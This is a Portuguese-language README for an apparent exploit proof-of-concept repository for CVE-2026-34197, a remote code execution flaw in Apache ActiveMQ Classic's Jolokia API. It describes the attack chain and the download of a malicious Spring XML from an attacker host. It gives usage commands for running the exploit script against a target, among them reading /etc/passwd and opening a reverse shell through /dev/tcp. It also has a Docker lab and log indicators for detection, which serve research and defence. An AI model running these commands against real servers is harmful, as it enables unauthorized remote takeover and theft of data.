
Prova de conceito de exploit para CVE-2026-34197, uma RCE no Apache ActiveMQ via API Jolokia. Inclui um exploit em Python, modelo de payload e laboratório Docker para testes e pesquisa.
CVE-2026-34197 é uma vulnerabilidade de execução remota de código (RCE) no Apache ActiveMQ Classic que permite a um atacante executar comandos arbitrários no sistema operacional do servidor através da API Jolokia exposta no console web.
A vulnerabilidade existe há mais de 13 anos e reside na interação entre múltiplos componentes: Jolokia (ponte HTTP-JMX), os MBeans do ActiveMQ, os conectores de rede e o transporte VM.
| Campo | Detalhe |
|---|
| CVE ID | CVE-2026-34197 |
| Tipo | RCE (Remote Code Execution) |
| CWE | CWE-20 (Validação de entrada incorreta), CWE-94 (Injeção de código) |
| Versões afetadas | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Versões corrigidas | 5.19.4, 6.2.3 |
| Autenticação necessária | Sim (credenciais padrão admin:admin comuns) |
| Sem autenticação em | 6.0.0 — 6.1.1 (por CVE-2024-32114) |
| Porta padrão | 8161 (console web) |
A cadeia de ataque funciona assim:
/api/jolokia/ invocando a operação addNetworkConnector do MBean do broker.vm:// que referencia um broker inexistente.brokerConfig que aponta para uma URL remota.xbean: indica que o recurso é um arquivo de configuração Spring XML.Runtime.getRuntime().exec().Atacante ActiveMQ (vítima)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- Cria broker VM
| |-- Baixa x.xml
|<-- GET /x.xml --------------------|
|-- Responde com payload XML ------>|
| |-- Spring instancia beans
| |-- Runtime.exec(COMANDO)
| |
CVE-2026-34197/
├── README.md # Este arquivo
├── exploit.py # PoC principal
├── payloads/
│ └── template.xml # Template do payload Spring XML
├── docker/
│ └── docker-compose.yml # Ambiente de laboratório vulnerável
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Isso sobe um ActiveMQ Classic 5.18.6 vulnerável em localhost:8161.
# Uso básico com credenciais padrão
python exploit.py -t http://ALVO:8161 -l IP_ATACANTE -c "id"
# Especificar credenciais
python exploit.py -t http://ALVO:8161 -l IP_ATACANTE -c "whoami" -u admin -p admin
# Especificar porta do servidor HTTP do payload
python exploit.py -t http://ALVO:8161 -l IP_ATACANTE -lp 9999 -c "cat /etc/passwd"
# Modo sem autenticação (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://ALVO:8161 -l IP_ATACANTE -c "id" --no-auth
# Shell reversa
python exploit.py -t http://ALVO:8161 -l IP_ATACANTE -c "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1"
| Parâmetro | Descrição |
|---|---|
-t, --target | URL base do alvo (ex: http://10.0.0.1:8161) |
-l, --lhost | IP do atacante para servir o payload XML |
-lp, --lport | Porta do servidor HTTP local (padrão: 8888) |
-c, --command | Comando a executar no alvo |
-u, --user | Usuário (padrão: admin) |
-p, --password | Senha (padrão: admin) |
--no-auth | Não enviar credenciais (para versões 6.0.0 - 6.1.1) |
--broker-name | Nome do broker (padrão: localhost) |
Indicadores nos logs do broker ActiveMQ:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Outros indicadores:
/api/jolokia/ com addNetworkConnector no corpovm:// com brokerConfig=xbean:httpCriado por KONDOR DEV SECURITY
Este PoC é fornecido exclusivamente para fins educacionais e de pesquisa em segurança. O uso desta ferramenta contra sistemas sem autorização explícita é ilegal. O autor não se responsabiliza pelo uso indevido desta ferramenta.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY